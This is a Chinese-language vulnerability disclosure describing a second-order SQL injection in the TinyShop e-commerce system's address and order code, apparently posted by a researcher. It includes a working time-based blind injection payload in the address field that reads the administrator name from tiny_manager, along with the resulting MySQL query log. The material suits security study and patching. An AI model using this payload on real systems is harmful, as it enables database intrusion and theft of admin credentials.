TinyShop二次注入一枚

漏洞作者: roker

还是 protected\controllers\simple.php文件

[php]

public function order_act(){

.................

$address = $model->table("address")->where("id=$address_id")->find();

//if(!$address)$this->redirect("order",false,Req::args());

//if(!$payment_id)$this->redirect("order",false,Req::args());

$data['order_no'] = Common::createOrderNo();

.............

$data['addr'] = $address['addr'];//因为有字符限制 ,所以选择这个参数入

..........

 

 

//var_dump($order_products);exit();

 

//写入订单数据

$order_id = $model->table("order")->data($data)->insert();

[/php]

看到

 

[php]

public function address_save(){

$rules = array('zip:zip:邮政编码格式不正确!','addr:required:内容不能为空!','accept_name:required:收货人姓名不能为空!,mobile:mobi:手机格式不正确!,phone:phone:电话格式不正确');

$info = Validator::check($rules);

 

if(!is_array($info) && $info==true) {\\

Filter::form(array('sql'=>'accept_name|mobile|phone','txt'=>'addr','int'=>'province|city|county|zip|is_default|id'));

[/php]

 

会把单引号转义为 斜杠+'. 但是进入数据库时 斜杠 是不会进去的。从而造成二次注入。

延时注入测试下。

首先 添加个收货地址,抓包修改 addr=','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#

 

27115121bd1a01382f52727c77798412afb00bc1

 

 

用生成的地址 提交订单。

看mysql执行日志,可以看到

[php]

insert into tiny_order (`prom`,`prom_id`,`order_no`,`user_id`,`payment`,`status`,`pay_status`,`accept_name`,`phone`,`mobile`,`province`,`city`,`county`,`addr`,`zip`,`payable_amount`,`payable_freight`,`real_freight`,`create_time`,`user_remark`,`is_invoice`,`invoice_title`,`taxes`,`discount_amount`,`order_amount`,`real_amount`,`point`,`type`,`voucher_id`,`voucher`) values ('a:11:{s:2:"id";s:1:"2";s:8:"goods_id";s:2:"24";s:5:"title";s:49:"2014春装男款格子长袖男衬衫大型团购";s:7:"max_num";s:2:"50";s:7:"min_num";s:1:"1";s:5:"price";s:5:"30.00";s:10:"start_time";s:19:"2014-05-04 10:18:00";s:8:"end_time";s:19:"2014-05-30 10:18:00";s:9:"goods_num";s:1:"0";s:9:"order_num";s:1:"0";s:6:"is_end";s:1:"0";}',2,'20140627115409355844',2,1,2,0,'aaa','1111111111','1111111111',130000,130300,130302,'','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#','111111',49,10.00,10.00,'2014-06-27 11:54:09','',0,'0',0,0,40,30,0,1,0,'a:0:{}')

[/php]

#将后面的注释掉,所以实际执行的为

27115804509609ed87f18a2bd99e5bef22875aff

 

延时成功。

可以写个脚本跑下密码。这里就不提供了~

发表评论